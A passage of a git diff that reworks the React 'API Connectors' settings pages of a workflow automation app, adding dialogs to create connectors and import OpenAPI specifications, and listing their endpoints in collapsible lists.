+import {Button} from '@/components/ui/button';
 import {Form, FormControl, FormDescription, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
 import {Input} from '@/components/ui/input';
 import {useUpdateAiProviderMutation} from '@/ee/shared/mutations/platform/aiProvider.mutations';
diff --git a/client/src/ee/pages/settings/platform/ai-providers/components/AiProviderList.tsx b/client/src/ee/pages/settings/platform/ai-providers/components/AiProviderList.tsx
index a2592559ec2..86bfa2cdb22 100644
--- a/client/src/ee/pages/settings/platform/ai-providers/components/AiProviderList.tsx
+++ b/client/src/ee/pages/settings/platform/ai-providers/components/AiProviderList.tsx
@@ -1,5 +1,5 @@
-import Button from '@/components/Button/Button';
 import {Accordion, AccordionContent, AccordionItem, AccordionTrigger} from '@/components/ui/accordion';
+import {Button} from '@/components/ui/button';
 import {Switch} from '@/components/ui/switch';
 import AiProviderForm from '@/ee/pages/settings/platform/ai-providers/components/AiProviderForm';
 import {AiProvider} from '@/ee/shared/middleware/platform/configuration';
diff --git a/client/src/ee/pages/settings/platform/api-connectors/ApiConnectors.tsx b/client/src/ee/pages/settings/platform/api-connectors/ApiConnectors.tsx
index fb8e603f185..f9e5516b460 100644
--- a/client/src/ee/pages/settings/platform/api-connectors/ApiConnectors.tsx
+++ b/client/src/ee/pages/settings/platform/api-connectors/ApiConnectors.tsx
@@ -1,21 +1,19 @@
 import EmptyList from '@/components/EmptyList';
 import PageLoader from '@/components/PageLoader';
-import ApiConnectorCreateMenu from '@/ee/pages/settings/platform/api-connectors/components/ApiConnectorCreateMenu';
-import ApiConnectorEndpointDetailPanel from '@/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointDetailPanel';
+import {Button} from '@/components/ui/button';
+import ApiConnectorImportDialog from '@/ee/pages/settings/platform/api-connectors/components/ApiConnectorImportDialog';
 import ApiConnectorList from '@/ee/pages/settings/platform/api-connectors/components/ApiConnectorList';
+import {useGetApiConnectorsQuery} from '@/ee/shared/queries/platform/apiConnectors.queries';
 import Header from '@/shared/layout/Header';
 import LayoutContainer from '@/shared/layout/LayoutContainer';
-import {useApiConnectorsQuery} from '@/shared/middleware/graphql';
 import {Link2Icon} from 'lucide-react';
 
 const ApiConnectors = () => {
     const {
-        data: apiConnectorsData,
+        data: apiConnectors,
         error: apiConnectorsError,
         isLoading: apiConnectorsLoading,
-    } = useApiConnectorsQuery();
-
-    const apiConnectors = apiConnectorsData?.apiConnectors;
+    } = useGetApiConnectorsQuery();
 
     return (
         <LayoutContainer
@@ -25,7 +23,12 @@ const ApiConnectors = () => {
                     <Header
                         centerTitle={true}
                         position="main"
-                        right={apiConnectors && apiConnectors.length > 0 && <ApiConnectorCreateMenu />}
+                        right={
+                            apiConnectors &&
+                            apiConnectors.length > 0 && (
+                                <ApiConnectorImportDialog triggerNode={<Button>Import Open API</Button>} />
+                            )
+                        }
                         title="API Connectors"
                     />
                 )
@@ -37,15 +40,13 @@ const ApiConnectors = () => {
                     <ApiConnectorList apiConnectors={apiConnectors} />
                 ) : (
                     <EmptyList
-                        button={<ApiConnectorCreateMenu />}
+                        button={<ApiConnectorImportDialog triggerNode={<Button>Import Open API</Button>} />}
                         icon={<Link2Icon className="size-12 text-gray-400" />}
                         message="You do not have any API Connectors created yet."
                         title="No API Connectors"
                     />
                 )}
             </PageLoader>
-
-            <ApiConnectorEndpointDetailPanel />
         </LayoutContainer>
     );
 };
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorCreateMenu.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorCreateMenu.tsx
deleted file mode 100644
index 12b997a62ad..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorCreateMenu.tsx
+++ /dev/null
@@ -1,39 +0,0 @@
-import Button from '@/components/Button/Button';
-import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
-import {ChevronDownIcon, FileUpIcon, LinkIcon, PlusIcon} from 'lucide-react';
-
-import useApiConnectorCreateMenu from './hooks/useApiConnectorCreateMenu';
-
-const ApiConnectorCreateMenu = () => {
-    const {handleMenuItemClick} = useApiConnectorCreateMenu();
-
-    return (
-        <DropdownMenu>
-            <DropdownMenuTrigger asChild>
-                <Button>
-                    Create API Connector
-                    <ChevronDownIcon className="ml-2 size-4" />
-                </Button>
-            </DropdownMenuTrigger>
-
-            <DropdownMenuContent align="end">
-                <DropdownMenuItem onClick={() => handleMenuItemClick('/automation/settings/api-connectors/new/manual')}>
-                    <PlusIcon className="mr-2 size-4" />
-                    Create API Connector
-                </DropdownMenuItem>
-
-                <DropdownMenuItem onClick={() => handleMenuItemClick('/automation/settings/api-connectors/new/import')}>
-                    <FileUpIcon className="mr-2 size-4" />
-                    Import Open API file
-                </DropdownMenuItem>
-
-                <DropdownMenuItem onClick={() => handleMenuItemClick('/automation/settings/api-connectors/new/ai')}>
-                    <LinkIcon className="mr-2 size-4" />
-                    Create from documentation URL
-                </DropdownMenuItem>
-            </DropdownMenuContent>
-        </DropdownMenu>
-    );
-};
-
-export default ApiConnectorCreateMenu;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorDialog.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorDialog.tsx
new file mode 100644
index 00000000000..2ebec4dcea1
--- /dev/null
+++ b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorDialog.tsx
@@ -0,0 +1,194 @@
+import {Button} from '@/components/ui/button';
+import {
+    Dialog,
+    DialogClose,
+    DialogCloseButton,
+    DialogContent,
+    DialogDescription,
+    DialogFooter,
+    DialogHeader,
+    DialogTitle,
+    DialogTrigger,
+} from '@/components/ui/dialog';
+import {Form, FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
+import {Input} from '@/components/ui/input';
+import {Textarea} from '@/components/ui/textarea';
+import IconField from '@/ee/pages/settings/platform/api-connectors/components/IconField';
+import {ApiConnector} from '@/ee/shared/middleware/platform/api-connector';
+import {
+    useCreateApiConnectorMutation,
+    useUpdateApiConnectorMutation,
+} from '@/ee/shared/mutations/platform/apiConnector.mutations';
+import {ApiConnectorKeys} from '@/ee/shared/queries/platform/apiConnectors.queries';
+import {useQueryClient} from '@tanstack/react-query';
+import {ReactNode, useState} from 'react';
+import {useForm} from 'react-hook-form';
+
+interface ApiConnectorDialogProps {
+    apiConnector?: ApiConnector;
+    onClose?: () => void;
+    triggerNode?: ReactNode;
+}
+
+const ApiConnectorDialog = ({apiConnector, onClose, triggerNode}: ApiConnectorDialogProps) => {
+    const [isOpen, setIsOpen] = useState(!triggerNode);
+
+    const form = useForm({
+        defaultValues: {
+            description: apiConnector?.description || '',
+            icon: apiConnector?.icon || '',
+            name: apiConnector?.name || '',
+            title: apiConnector?.title || '',
+        } as ApiConnector,
+    });
+
+    const {control, getValues, handleSubmit, reset} = form;
+
+    const queryClient = useQueryClient();
+
+    const onSuccess = () => {
+        queryClient.invalidateQueries({
+            queryKey: ApiConnectorKeys.apiConnectors,
+        });
+
+        closeDialog();
+    };
+
+    const createOpenApiConnectorMutation = useCreateApiConnectorMutation({onSuccess});
+    const updateOpenApiConnectorMutation = useUpdateApiConnectorMutation({onSuccess});
+
+    function closeDialog() {
+        setIsOpen(false);
+
+        if (onClose) {
+            onClose();
+        }
+
+        reset();
+    }
+
+    function saveOpenApiConnector() {
+        if (apiConnector?.id) {
+            updateOpenApiConnectorMutation.mutate({
+                ...apiConnector,
+                ...getValues(),
+            });
+        } else {
+            createOpenApiConnectorMutation.mutate({
+                ...apiConnector,
+                ...getValues(),
+            });
+        }
+    }
+
+    return (
+        <Dialog
+            onOpenChange={(isOpen) => {
+                if (isOpen) {
+                    setIsOpen(isOpen);
+                } else {
+                    closeDialog();
+                }
+            }}
+            open={isOpen}
+        >
+            {triggerNode && <DialogTrigger asChild>{triggerNode}</DialogTrigger>}
+
+            <DialogContent>
+                <Form {...form}>
+                    <form className="flex flex-col gap-4" onSubmit={handleSubmit(saveOpenApiConnector)}>
+                        <DialogHeader className="flex flex-row items-center justify-between space-y-0">
+                            <div className="flex flex-col space-y-1">
+                                <DialogTitle>{`${apiConnector?.id ? 'Edit' : 'Create'}`} API Connector</DialogTitle>
+
+                                <DialogDescription>
+                                    Create new API connector through the UI interface.
+                                </DialogDescription>
+                            </div>
+
+                            <DialogCloseButton />
+                        </DialogHeader>
+
+                        <FormField
+                            control={control}
+                            name="name"
+                            render={({field}) => (
+                                <FormItem>
+                                    <FormLabel>Name</FormLabel>
+
+                                    <FormControl>
+                                        <Input {...field} />
+                                    </FormControl>
+
+                                    <FormMessage />
+                                </FormItem>
+                            )}
+                            rules={{required: true}}
+                        />
+
+                        <FormField
+                            control={control}
+                            name="title"
+                            render={({field}) => (
+                                <FormItem>
+                                    <FormLabel>Title</FormLabel>
+
+                                    <FormControl>
+                                        <Input {...field} />
+                                    </FormControl>
+
+                                    <FormMessage />
+                                </FormItem>
+                            )}
+                            rules={{required: true}}
+                        />
+
+                        <FormField
+                            control={control}
+                            name="icon"
+                            render={({field}) => (
+                                <FormItem>
+                                    <FormLabel>Icon</FormLabel>
+
+                                    <FormControl>
+                                        <IconField field={field} />
+                                    </FormControl>
+
+                                    <FormMessage />
+                                </FormItem>
+                            )}
+                        />
+
+                        <FormField
+                            control={control}
+                            name="description"
+                            render={({field}) => (
+                                <FormItem>
+                                    <FormLabel>Description</FormLabel>
+
+                                    <FormControl>
+                                        <Textarea {...field} />
+                                    </FormControl>
+
+                                    <FormMessage />
+                                </FormItem>
+                            )}
+                        />
+
+                        <DialogFooter>
+                            <DialogClose asChild>
+                                <Button type="button" variant="outline">
+                                    Cancel
+                                </Button>
+                            </DialogClose>
+
+                            <Button type="submit">Save</Button>
+                        </DialogFooter>
+                    </form>
+                </Form>
+            </DialogContent>
+        </Dialog>
+    );
+};
+
+export default ApiConnectorDialog;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEditDialog.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEditDialog.tsx
deleted file mode 100644
index 00e0e3caa8b..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEditDialog.tsx
+++ /dev/null
@@ -1,119 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogClose,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {Form, FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
-import {Input} from '@/components/ui/input';
-import IconField from '@/ee/pages/settings/platform/api-connectors/components/IconField';
-import OpenApiSpecificationField from '@/ee/pages/settings/platform/api-connectors/components/OpenApiSpecificationField';
-import {ApiConnector} from '@/shared/middleware/graphql';
-
-import useApiConnectorEditDialog from './hooks/useApiConnectorEditDialog';
-
-interface ApiConnectorEditDialogProps {
-    apiConnector: ApiConnector;
-    onClose: () => void;
-}
-
-const ApiConnectorEditDialog = ({apiConnector, onClose}: ApiConnectorEditDialogProps) => {
-    const {closeDialog, control, form, handleSubmit, isOpen, saveApiConnector} = useApiConnectorEditDialog({
-        apiConnector,
-        onClose,
-    });
-
-    return (
-        <Dialog
-            onOpenChange={(open) => {
-                if (!open) {
-                    closeDialog();
-                }
-            }}
-            open={isOpen}
-        >
-            <DialogContent>
-                <Form {...form}>
-                    <form className="flex flex-col gap-4" onSubmit={handleSubmit(saveApiConnector)}>
-                        <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                            <div className="flex flex-col space-y-1">
-                                <DialogTitle>Edit API Connector</DialogTitle>
-
-                                <DialogDescription>Update the API connector configuration.</DialogDescription>
-                            </div>
-
-                            <DialogCloseButton />
-                        </DialogHeader>
-
-                        <FormField
-                            control={control}
-                            name="name"
-                            render={({field}) => (
-                                <FormItem>
-                                    <FormLabel>Name</FormLabel>
-
-                                    <FormControl>
-                                        <Input disabled {...field} />
-                                    </FormControl>
-
-                                    <FormMessage />
-                                </FormItem>
-                            )}
-                            rules={{required: true}}
-                        />
-
-                        <FormField
-                            control={control}
-                            name="icon"
-                            render={({field}) => (
-                                <FormItem>
-                                    <FormLabel>Icon</FormLabel>
-
-                                    <FormControl>
-                                        <IconField field={field} />
-                                    </FormControl>
-
-                                    <FormMessage />
-                                </FormItem>
-                            )}
-                        />
-
-                        <FormField
-                            control={control}
-                            name="specification"
-                            render={({field}) => (
-                                <FormItem>
-                                    <FormLabel>Open API Specification</FormLabel>
-
-                                    <FormControl>
-                                        <OpenApiSpecificationField field={field} />
-                                    </FormControl>
-
-                                    <FormMessage />
-                                </FormItem>
-                            )}
-                            rules={{required: true}}
-                        />
-
-                        <DialogFooter>
-                            <DialogClose asChild>
-                                <Button type="button" variant="outline">
-                                    Cancel
-                                </Button>
-                            </DialogClose>
-
-                            <Button type="submit">Save</Button>
-                        </DialogFooter>
-                    </form>
-                </Form>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default ApiConnectorEditDialog;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointDetailPanel.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointDetailPanel.tsx
deleted file mode 100644
index 42b890a1e5f..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointDetailPanel.tsx
+++ /dev/null
@@ -1,113 +0,0 @@
-import Badge from '@/components/Badge/Badge';
-import {Sheet, SheetCloseButton, SheetContent, SheetHeader, SheetTitle} from '@/components/ui/sheet';
-import MonacoEditorWrapper from '@/shared/components/MonacoEditorWrapper';
-import {twMerge} from 'tailwind-merge';
-
-import {getHttpMethodBadgeColor} from '../utils/httpMethod-utils';
-import useApiConnectorEndpointDetailPanel from './hooks/useApiConnectorEndpointDetailPanel';
-
-const ApiConnectorEndpointDetailPanel = () => {
-    const {
-        apiConnectorName,
-        calculateEditorHeight,
-        closePanel,
-        editorOptions,
-        endpointYaml,
-        isOpen,
-        selectedEndpoint,
-        specification,
-    } = useApiConnectorEndpointDetailPanel();
-
-    if (!selectedEndpoint) {
-        return null;
-    }
-
-    return (
-        <Sheet onOpenChange={(open) => !open && closePanel()} open={isOpen}>
-            <SheetContent className="flex w-full flex-col gap-0 p-0 sm:max-w-xl" side="right">
-                <SheetHeader className="flex flex-row items-center justify-between gap-1 space-y-0 border-b p-4">
-                    <div className="flex flex-col gap-2">
-                        <SheetTitle className="flex items-center gap-3">
-                            <Badge
-                                className={twMerge('w-20', getHttpMethodBadgeColor(selectedEndpoint.httpMethod))}
-                                label={selectedEndpoint.httpMethod || 'GET'}
-                                styleType="outline-outline"
-                                weight="semibold"
-                            />
-
-                            <span>{selectedEndpoint.name}</span>
-                        </SheetTitle>
-
-                        <p className="text-sm text-muted-foreground">{selectedEndpoint.path}</p>
-                    </div>
-
-                    <SheetCloseButton />
-                </SheetHeader>
-
-                <div className="flex-1 overflow-y-auto p-4">
-                    <div className="flex flex-col gap-4">
-                        <div>
-                            <h3 className="text-sm font-medium">API Connector</h3>
-
-                            <p className="text-sm text-muted-foreground">{apiConnectorName}</p>
-                        </div>
-
-                        {selectedEndpoint.description && (
-                            <div>
-                                <h3 className="text-sm font-medium">Description</h3>
-
-                                <p className="text-sm text-muted-foreground">{selectedEndpoint.description}</p>
-                            </div>
-                        )}
-
-                        {endpointYaml && (
-                            <div>
-                                <h3 className="mb-2 text-sm font-medium">OpenAPI Specification</h3>
-
-                                <div
-                                    className="overflow-hidden rounded-md border"
-                                    style={{height: calculateEditorHeight(endpointYaml)}}
-                                >
-                                    <MonacoEditorWrapper
-                                        defaultLanguage="yaml"
-                                        onChange={() => {}}
-                                        onMount={() => {}}
-                                        options={editorOptions}
-                                        value={endpointYaml}
-                                    />
-                                </div>
-                            </div>
-                        )}
-
-                        {!endpointYaml && specification && (
-                            <div>
-                                <h3 className="mb-2 text-sm font-medium">Full Specification</h3>
-
-                                <div
-                                    className="overflow-hidden rounded-md border"
-                                    style={{height: calculateEditorHeight(specification)}}
-                                >
-                                    <MonacoEditorWrapper
-                                        defaultLanguage="yaml"
-                                        onChange={() => {}}
-                                        onMount={() => {}}
-                                        options={editorOptions}
-                                        value={specification}
-                                    />
-                                </div>
-                            </div>
-                        )}
-
-                        {!specification && (
-                            <div className="rounded-md border border-dashed p-4 text-center">
-                                <p className="text-sm text-muted-foreground">No specification available.</p>
-                            </div>
-                        )}
-                    </div>
-                </div>
-            </SheetContent>
-        </Sheet>
-    );
-};
-
-export default ApiConnectorEndpointDetailPanel;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointList.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointList.tsx
new file mode 100644
index 00000000000..a26cce31380
--- /dev/null
+++ b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointList.tsx
@@ -0,0 +1,26 @@
+import {ApiConnectorEndpoint} from '@/ee/shared/middleware/platform/api-connector';
+
+import ApiConnectorEndpointListItem from './ApiConnectorEndpointListItem';
+
+const ApiConnectorEndpointList = ({apiConnectorEndpoints}: {apiConnectorEndpoints?: Array<ApiConnectorEndpoint>}) => {
+    return (
+        <div className="border-b border-b-border/50 py-3 pl-4">
+            <h3 className="flex justify-start pl-2 text-sm font-semibold uppercase text-gray-400">Endpoints</h3>
+
+            <ul>
+                {apiConnectorEndpoints?.map((apiConnectorEndpoint) => (
+                    <li
+                        className="flex items-center justify-between rounded-md p-2 hover:bg-gray-50"
+                        key={apiConnectorEndpoint.id}
+                    >
+                        {apiConnectorEndpoint && (
+                            <ApiConnectorEndpointListItem apiConnectorEndpoint={apiConnectorEndpoint} />
+                        )}
+                    </li>
+                ))}
+            </ul>
+        </div>
+    );
+};
+
+export default ApiConnectorEndpointList;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointListItem.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointListItem.tsx
index c8a433c6917..3310134b219 100644
--- a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointListItem.tsx
+++ b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointListItem.tsx
@@ -1,30 +1,67 @@
 import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
-import {ApiConnectorEndpoint} from '@/shared/middleware/graphql';
-import {CalendarIcon, EllipsisVerticalIcon} from 'lucide-react';
+import {ApiConnectorEndpoint} from '@/ee/shared/middleware/platform/api-connector';
+import {
+    CalendarIcon,
+    CloudDownloadIcon,
+    EllipsisVerticalIcon,
+    FolderSyncIcon,
+    SendToBackIcon,
+    Trash2Icon,
+    UploadIcon,
+} from 'lucide-react';
+import {useMemo, useState} from 'react';
+import {Link} from 'react-router-dom';
 import {twMerge} from 'tailwind-merge';
 
-import useApiConnectorEndpointListItem from '../hooks/useApiConnectorEndpointListItem';
+const ApiConnectorEndpointListItem = ({apiConnectorEndpoint}: {apiConnectorEndpoint: ApiConnectorEndpoint}) => {
+    const [showEditWorkflowDialog, setShowEditWorkflowDialog] = useState(false);
+    const projectDeploymentWorkflow = undefined;
 
-interface ApiConnectorEndpointListItemProps {
-    apiConnectorEndpoint: ApiConnectorEndpoint;
-    apiConnectorName: string;
-    specification?: string;
-}
+    const method = apiConnectorEndpoint.httpMethod;
 
-const ApiConnectorEndpointListItem = ({
-    apiConnectorEndpoint,
-    apiConnectorName,
-    specification,
-}: ApiConnectorEndpointListItemProps) => {
-    const {handleClick, icon, lastExecutionDate, method, setShowEditWorkflowDialog, showEditWorkflowDialog, textColor} =
-        useApiConnectorEndpointListItem({apiConnectorEndpoint, apiConnectorName, specification});
+    const httpMethodStyles = useMemo(() => {
+        switch (method) {
+            case 'GET':
+                return {
+                    icon: <CloudDownloadIcon className="size-3" />,
+                    textColor: 'text-content-brand-primary',
+                };
+            case 'POST':
+                return {
+                    icon: <UploadIcon className="size-3" />,
+                    textColor: 'text-content-success-primary',
+                };
+            case 'PUT':
+                return {
+                    icon: <SendToBackIcon className="size-3" />,
+                    textColor: 'text-content-warning-primary',
+                };
+            case 'PATCH':
+                return {
+                    icon: <FolderSyncIcon className="size-3" />,
+                    textColor: 'text-orange-700',
+                };
+            case 'DELETE':
+                return {
+                    icon: <Trash2Icon className="size-3" />,
+                    textColor: 'text-content-destructive-primary',
+                };
+            default:
+                return {
+                    icon: undefined,
+                    textColor: '',
+                };
+        }
+    }, [method]);
+
+    const {icon, textColor} = httpMethodStyles;
 
     return (
         <>
-            <Button className="flex flex-1 items-center justify-start text-left" onClick={handleClick} variant="ghost">
+            <Link className="flex flex-1 items-center" to={`/automation/projects/${1}/workflows/${1}`}>
                 <div className="flex flex-1 items-center">
                     {method && (
                         <Badge
@@ -40,16 +77,16 @@ const ApiConnectorEndpointListItem = ({
 
                     <div className="text-xs text-gray-500">{apiConnectorEndpoint.path}</div>
                 </div>
-            </Button>
+            </Link>
 
             <div className="flex items-center justify-end gap-x-6">
-                {lastExecutionDate ? (
+                {apiConnectorEndpoint?.lastExecutionDate ? (
                     <Tooltip>
                         <TooltipTrigger className="flex items-center text-sm text-gray-500">
                             <CalendarIcon aria-hidden="true" className="mr-0.5 size-3.5 shrink-0 text-gray-400" />
 
                             <span className="text-xs">
-                                {`Executed at ${lastExecutionDate.toLocaleDateString()} ${lastExecutionDate.toLocaleTimeString()}`}
+                                {`Executed at ${apiConnectorEndpoint.lastExecutionDate?.toLocaleDateString()} ${apiConnectorEndpoint.lastExecutionDate?.toLocaleTimeString()}`}
                             </span>
                         </TooltipTrigger>
 
@@ -61,34 +98,25 @@ const ApiConnectorEndpointListItem = ({
 
                 <DropdownMenu>
                     <DropdownMenuTrigger asChild>
-                        <Button
-                            icon={<EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />}
-                            size="icon"
-                            variant="ghost"
-                        />
+                        <Button size="icon" variant="ghost">
+                            <EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />
+                        </Button>
                     </DropdownMenuTrigger>
 
                     <DropdownMenuContent align="end">
-                        <DropdownMenuItem
-                            disabled
-                            onClick={() => setShowEditWorkflowDialog(true)}
-                            title="Edit workflow (coming soon)"
-                        >
-                            Edit
-                        </DropdownMenuItem>
+                        <DropdownMenuItem onClick={() => setShowEditWorkflowDialog(true)}>Edit</DropdownMenuItem>
                     </DropdownMenuContent>
                 </DropdownMenu>
             </div>
 
-            {showEditWorkflowDialog && (
-                // TODO: Implement edit workflow dialog
+            {showEditWorkflowDialog && projectDeploymentWorkflow && (
                 // <ProjectDeploymentEditWorkflowDialog
                 //     onClose={() => setShowEditWorkflowDialog(false)}
                 //     projectDeploymentEnabled={projectDeploymentEnabled}
                 //     projectDeploymentWorkflow={projectDeploymentWorkflow}
                 //     workflow={workflow}
                 // />
-                <></>
+                <>TODO</>
             )}
         </>
     );
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorImportDialog.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorImportDialog.tsx
new file mode 100644
index 00000000000..e1e74575e59
--- /dev/null
+++ b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorImportDialog.tsx
@@ -0,0 +1,166 @@
+import {Button} from '@/components/ui/button';
+import {
+    Dialog,
+    DialogClose,
+    DialogCloseButton,
+    DialogContent,
+    DialogDescription,
+    DialogFooter,
+    DialogHeader,
+    DialogTitle,
+    DialogTrigger,
+} from '@/components/ui/dialog';
+import {Form, FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
+import {Input} from '@/components/ui/input';
+import IconField from '@/ee/pages/settings/platform/api-connectors/components/IconField';
+import OpenApiSpecificationField from '@/ee/pages/settings/platform/api-connectors/components/OpenApiSpecificationField';
+import {ApiConnector, ImportOpenApiSpecificationRequest} from '@/ee/shared/middleware/platform/api-connector';
+import {useImportOpenApiSpecificationMutation} from '@/ee/shared/mutations/platform/apiConnector.mutations';
+import {ApiConnectorKeys} from '@/ee/shared/queries/platform/apiConnectors.queries';
+import {useQueryClient} from '@tanstack/react-query';
+import {ReactNode, useState} from 'react';
+import {useForm} from 'react-hook-form';
+
+interface ApiConnectorDialogProps {
+    apiConnector?: ApiConnector;
+    onClose?: () => void;
+    triggerNode?: ReactNode;
+}
+
+const ApiConnectorImportDialog = ({apiConnector, onClose, triggerNode}: ApiConnectorDialogProps) => {
+    const [isOpen, setIsOpen] = useState(!triggerNode);
+
+    const form = useForm({
+        defaultValues: {
+            icon: apiConnector?.icon || '',
+            name: apiConnector?.name || '',
+            specification: apiConnector?.specification || '',
+        } as ImportOpenApiSpecificationRequest,
+    });
+
+    const {control, getValues, handleSubmit, reset} = form;
+
+    const queryClient = useQueryClient();
+
+    const onSuccess = () => {
+        queryClient.invalidateQueries({
+            queryKey: ApiConnectorKeys.apiConnectors,
+        });
+
+        closeDialog();
+    };
+
+    const importOpenApiSpecificationMutation = useImportOpenApiSpecificationMutation({onSuccess});
+
+    function closeDialog() {
+        setIsOpen(false);
+
+        if (onClose) {
+            onClose();
+        }
+
+        reset();
+    }
+
+    function importOpenApiSpecification() {
+        importOpenApiSpecificationMutation.mutate({
+            ...apiConnector,
+            ...getValues(),
+        } as ImportOpenApiSpecificationRequest);
+    }
+
+    return (
+        <Dialog
+            onOpenChange={(isOpen) => {
+                if (isOpen) {
+                    setIsOpen(isOpen);
+                } else {
+                    closeDialog();
+                }
+            }}
+            open={isOpen}
+        >
+            {triggerNode && <DialogTrigger asChild>{triggerNode}</DialogTrigger>}
+
+            <DialogContent>
+                <Form {...form}>
+                    <form className="flex flex-col gap-4" onSubmit={handleSubmit(importOpenApiSpecification)}>
+                        <DialogHeader className="flex flex-row items-center justify-between space-y-0">
+                            <div className="flex flex-col space-y-1">
+                                <DialogTitle>{`${apiConnector?.id ? 'Edit' : 'Create'}`} API Connector</DialogTitle>
+
+                                <DialogDescription>
+                                    Create new API connector through the UI interface.
+                                </DialogDescription>
+                            </div>
+
+                            <DialogCloseButton />
+                        </DialogHeader>
+
+                        <FormField
+                            control={control}
+                            name="name"
+                            render={({field}) => (
+                                <FormItem>
+                                    <FormLabel>Name</FormLabel>
+
+                                    <FormControl>
+                                        <Input disabled={!!apiConnector?.id} {...field} />
+                                    </FormControl>
+
+                                    <FormMessage />
+                                </FormItem>
+                            )}
+                            rules={{required: true}}
+                        />
+
+                        <FormField
+                            control={control}
+                            name="icon"
+                            render={({field}) => (
+                                <FormItem>
+                                    <FormLabel>Icon</FormLabel>
+
+                                    <FormControl>
+                                        <IconField field={field} />
+                                    </FormControl>
+
+                                    <FormMessage />
+                                </FormItem>
+                            )}
+                        />
+
+                        <FormField
+                            control={control}
+                            name="specification"
+                            render={({field}) => (
+                                <FormItem>
+                                    <FormLabel>Open API Specification</FormLabel>
+
+                                    <FormControl>
+                                        <OpenApiSpecificationField field={field} />
+                                    </FormControl>
+
+                                    <FormMessage />
+                                </FormItem>
+                            )}
+                            rules={{required: true}}
+                        />
+
+                        <DialogFooter>
+                            <DialogClose asChild>
+                                <Button type="button" variant="outline">
+                                    Cancel
+                                </Button>
+                            </DialogClose>
+
+                            <Button type="submit">Save</Button>
+                        </DialogFooter>
+                    </form>
+                </Form>
+            </DialogContent>
+        </Dialog>
+    );
+};
+
+export default ApiConnectorImportDialog;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorList.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorList.tsx
index 5c41b0fd49a..065ad5f80a7 100644
--- a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorList.tsx
+++ b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorList.tsx
@@ -1,16 +1,28 @@
-import {ApiConnector} from '@/shared/middleware/graphql';
+import {Collapsible, CollapsibleContent} from '@/components/ui/collapsible';
+import {ApiConnector} from '@/ee/shared/middleware/platform/api-connector';
 
+import ApiConnectorEndpointList from './ApiConnectorEndpointList';
 import ApiConnectorListItem from './ApiConnectorListItem';
 
 const ApiConnectorList = ({apiConnectors}: {apiConnectors: ApiConnector[]}) => {
     return (
         <div className="w-full px-2 3xl:mx-auto 3xl:w-4/5">
             {apiConnectors.length > 0 && (
-                <div className="w-full divide-y divide-gray-100">
-                    {apiConnectors.map((apiConnector) => (
-                        <ApiConnectorListItem apiConnector={apiConnector} key={apiConnector.id} />
-                    ))}
-                </div>
+                <>
+                    <div className="w-full divide-y divide-gray-100">
+                        {apiConnectors.map((apiConnector) => {
+                            return (
+                                <Collapsible key={apiConnector.id}>
+                                    <ApiConnectorListItem apiConnector={apiConnector} />
+
+                                    <CollapsibleContent>
+                                        <ApiConnectorEndpointList apiConnectorEndpoints={apiConnector.endpoints} />
+                                    </CollapsibleContent>
+                                </Collapsible>
+                            );
+                        })}
+                    </div>
+                </>
             )}
         </div>
     );
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorListItem.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorListItem.tsx
index 1daea1957fd..e746f52e88f 100644
--- a/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorListItem.tsx
+++ b/client/src/ee/pages/settings/platform/api-connectors/components/ApiConnectorListItem.tsx
@@ -1,5 +1,5 @@
-import Button from '@/components/Button/Button';
-import {Collapsible, CollapsibleContent, CollapsibleTrigger} from '@/components/ui/collapsible';
+import {Button} from '@/components/ui/button';
